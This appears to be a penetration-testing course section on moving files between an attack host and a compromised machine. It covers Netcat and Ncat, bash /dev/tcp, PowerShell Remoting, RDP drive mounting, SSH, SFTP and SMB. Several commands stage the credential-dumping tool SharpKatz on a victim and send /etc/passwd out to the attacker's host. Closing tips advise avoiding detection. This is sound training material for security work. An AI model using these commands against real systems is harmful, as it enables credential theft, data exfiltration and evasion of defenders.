We've covered various methods for transferring files on Windows and Linux. We also covered ways to achieve the same goal using different programming languages, but there are still many more methods and applications that we can use.
This section covers alternative methods such as transferring files using Netcat, Ncat and using RDP and PowerShell sessions.
Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP, which means that we can use it for file transfer operations.
The original Netcat was released by Hobbit in 1995, but it hasn't been maintained despite its popularity. The flexibility and usefulness of this tool prompted the Nmap Project to produce Ncat, a modern reimplementation that supports SSL, IPv6, SOCKS and HTTP proxies, connection brokering, and more.
nc, ncat, and netcat.
The target or attacking machine can be used to initiate the connection, which is helpful if a firewall prevents access to the target.
NetCat - Compromised Machine - Listening on Port 8000:
# Example using Original Netcat
victim@target:~$ nc -l -p 8000 > SharpKatz.exeNcat - Compromised Machine - Listening on Port 8000:
# Example using Ncat
victim@target:~$ ncat -l -p 8000 --recv-only > SharpKatz.exe--recv-only to close the connection once the file transfer is finished.
Netcat - Attack Host - Sending File to Compromised machine:
# Download the file first
wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
# Example using Original Netcat
nc -q 0 192.168.49.128 8000 < SharpKatz.exeNcat - Attack Host - Sending File to Compromised machine:
# Download the file first
wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
# Example using Ncat
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe--send-only flag, when used in both connect and listen modes, prompts Ncat to terminate once its input is exhausted.
Instead of listening on our compromised machine, we can connect to a port on our attack host to perform the file transfer operation. This method is useful in scenarios where there's a firewall blocking inbound connections.
Attack Host - Sending File as Input to Netcat:
# Example using Original Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exeCompromised Machine Connect to Netcat to Receive the File:
# Example using Original Netcat
nc 192.168.49.128 443 > SharpKatz.exeAttack Host - Sending File as Input to Ncat:
# Example using Ncat
sudo ncat -l -p 443 --send-only < SharpKatz.exeCompromised Machine Connect to Ncat to Receive the File:
# Example using Ncat
ncat 192.168.49.128 443 --recv-only > SharpKatz.exeIf we don't have Netcat or Ncat on our compromised machine, Bash supports read/write operations on a pseudo-device file /dev/TCP/.
Writing to this particular file makes Bash open a TCP connection to host:port, and this feature may be used for file transfers.
Attack Host - Setup Listener:
# Using Original Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exe
# OR using Ncat
sudo ncat -l -p 443 --send-only < SharpKatz.exeCompromised Machine Connecting to Netcat Using /dev/tcp to Receive the File:
cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exeAttack Host - Listen for incoming file:
nc -l -p 8000 > received_file.txtTarget Machine - Send file:
nc 192.168.49.128 8000 < /etc/passwdAttack Host - SSL listener:
ncat -l -p 8000 --ssl --recv-only > received_file.txtTarget Machine - SSL client:
ncat 192.168.49.128 8000 --ssl --send-only < /etc/passwdSender:
tar czf - /path/to/directory | nc 192.168.49.128 8000Receiver:
nc -l -p 8000 | tar xzf -We already talked about doing file transfers with PowerShell, but there may be scenarios where HTTP, HTTPS, or SMB are unavailable. If that's the case, we can use PowerShell Remoting, aka WinRM, to perform file transfer operations.
PowerShell Remoting allows us to execute scripts or commands on a remote computer using PowerShell sessions. Administrators commonly use PowerShell Remoting to manage remote computers in a network, and we can also use it for file transfer operations.
Default Ports:
- HTTP: TCP/5985
- HTTPS: TCP/5986
To create a PowerShell Remoting session on a remote computer, we need:
- Administrative access, OR
- Be a member of the Remote Management Users group, OR
- Have explicit permissions for PowerShell Remoting in the session configuration
Check WinRM Connectivity:
# From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01
Test-NetConnection -ComputerName DATABASE01 -Port 5985Create PowerShell Remoting Session:
# Create a session to DATABASE01
$Session = New-PSSession -ComputerName DATABASE01
# With credentials (if needed)
$Credential = Get-Credential
$Session = New-PSSession -ComputerName DATABASE01 -Credential $CredentialCopy file from localhost to remote session:
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\Copy file from remote session to localhost:
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $SessionCopy directory recursively:
Copy-Item -Path C:\LocalFolder -ToSession $Session -Destination C:\RemoteFolder -RecurseSession Management:
# List active sessions
Get-PSSession
# Remove session when done
Remove-PSSession -Session $Session
# Remove all sessions
Get-PSSession | Remove-PSSessionExecute commands on remote session:
Invoke-Command -Session $Session -ScriptBlock { Get-Process }Transfer and execute script:
# Copy script to remote machine
Copy-Item -Path C:\Scripts\MyScript.ps1 -ToSession $Session -Destination C:\Temp\
# Execute the script remotely
Invoke-Command -Session $Session -ScriptBlock { & C:\Temp\MyScript.ps1 }Secure file transfer with HTTPS:
$SessionOption = New-PSSessionOption -UseSSL
$Session = New-PSSession -ComputerName DATABASE01 -SessionOption $SessionOption -Port 5986RDP is commonly used in Windows networks for remote access. We can transfer files using RDP by copying and pasting. We can right-click and copy a file from the Windows machine we connect to and paste it into the RDP session.
If we are connected from Linux, we can use xfreerdp or rdesktop. At the time of writing, xfreerdp and rdesktop allow copy from our target machine to the RDP session, but there may be scenarios where this may not work as expected.
Basic RDP Connection:
# Using rdesktop
rdesktop 10.10.10.132 -d HTB -u administrator -p 'test123'
# Using xfreerdp
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'test123'As an alternative to copy and paste, we can mount a local resource on the target RDP server.
Mounting a Linux Folder Using rdesktop:
rdesktop 10.10.10.132 -d HTB -u administrator -p 'test123' -r disk:linux='/home/user/rdesktop/files'Mounting a Linux Folder Using xfreerdp:
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'test123' /drive:linux,/home/plaintext/htb/academy/filetransferAccess the mounted directory:
- Navigate to
\\tsclient\linuxin Windows Explorer - This allows transfer of files to and from the RDP session
From Windows, the native mstsc.exe remote desktop client can be used.
Using mstsc.exe:
- Open Remote Desktop Connection
- Go to Local Resources tab
- Click "More..." under Local devices and resources
- Select drives to make available
- Connect to remote system
Enable clipboard sharing:
xfreerdp /v:10.10.10.132 /u:administrator /p:'test123' /clipboardMount multiple drives:
xfreerdp /v:10.10.10.132 /u:administrator /p:'test123' /drive:share1,/tmp /drive:share2,/home/userRDP with custom resolution:
xfreerdp /v:10.10.10.132 /u:administrator /p:'test123' /w:1920 /h:1080 /drive:linux,/tmpForward local port through SSH:
ssh -L 8080:localhost:80 user@target-hostTransfer files through tunnel:
# After establishing tunnel
curl http://localhost:8080/file.txt -o file.txtBasic FTP transfer:
ftp target-host
# ftp> binary
# ftp> put localfile.txt
# ftp> get remotefile.txtSFTP batch operations:
echo "put localfile.txt" > sftp_commands.txt
echo "get remotefile.txt" >> sftp_commands.txt
sftp -b sftp_commands.txt user@target-hostMount SMB share:
sudo mount -t cifs //target-host/share /mnt/smb -o username=user,password=test123
# Transfer files
cp file.txt /mnt/smb/
cp /mnt/smb/remote_file.txt .
# Unmount when done
sudo umount /mnt/smbAlways prefer encrypted methods:
- Use HTTPS instead of HTTP
- Use SFTP instead of FTP
- Use SSH tunneling for additional security
- Use Ncat with SSL/TLS
Firewall considerations:
- Outbound connections are often less restricted
- Use common ports (80, 443, 53) when possible
- Consider using reverse connections
Verify file transfers:
# Generate checksum on source
md5sum file.txt > file.txt.md5
# Verify on destination
md5sum -c file.txt.md5Check file sizes:
# Source
ls -la file.txt
# Destination
ls -la file.txtConnection refused:
- Check if port is open
- Verify firewall rules
- Try different ports
Transfer incomplete:
- Use
-q 0with original netcat - Use
--send-onlyand--recv-onlywith ncat - Check file sizes after transfer
Access denied:
- Verify user permissions
- Check if WinRM is enabled
- Verify Remote Management Users group membership
Connection timeout:
- Check network connectivity
- Verify WinRM ports (5985/5986)
- Check Windows Firewall settings
Authentication failed:
- Verify credentials
- Check domain settings
- Ensure RDP is enabled
Drive mounting not working:
- Check RDP client version
- Verify local permissions
- Try different mount paths
- Choose appropriate method based on environment constraints
- Verify file integrity after transfers
- Use encryption when dealing with sensitive data
- Clean up temporary files and connections
- Document methods that work in specific environments
- Test multiple methods as backup options
- Monitor network traffic to avoid detection
- Use legitimate tools when possible to blend in
- Netcat is versatile - Works for both directions and can bypass firewalls
- PowerShell Remoting - Powerful for Windows environments with WinRM
- RDP file sharing - Convenient for interactive file transfers
- Multiple fallback options - Always have backup methods ready
- Security matters - Use encrypted methods when possible
- Firewall considerations - Understand network restrictions
- Verification important - Always check file integrity
- Environment awareness - Different methods work in different scenarios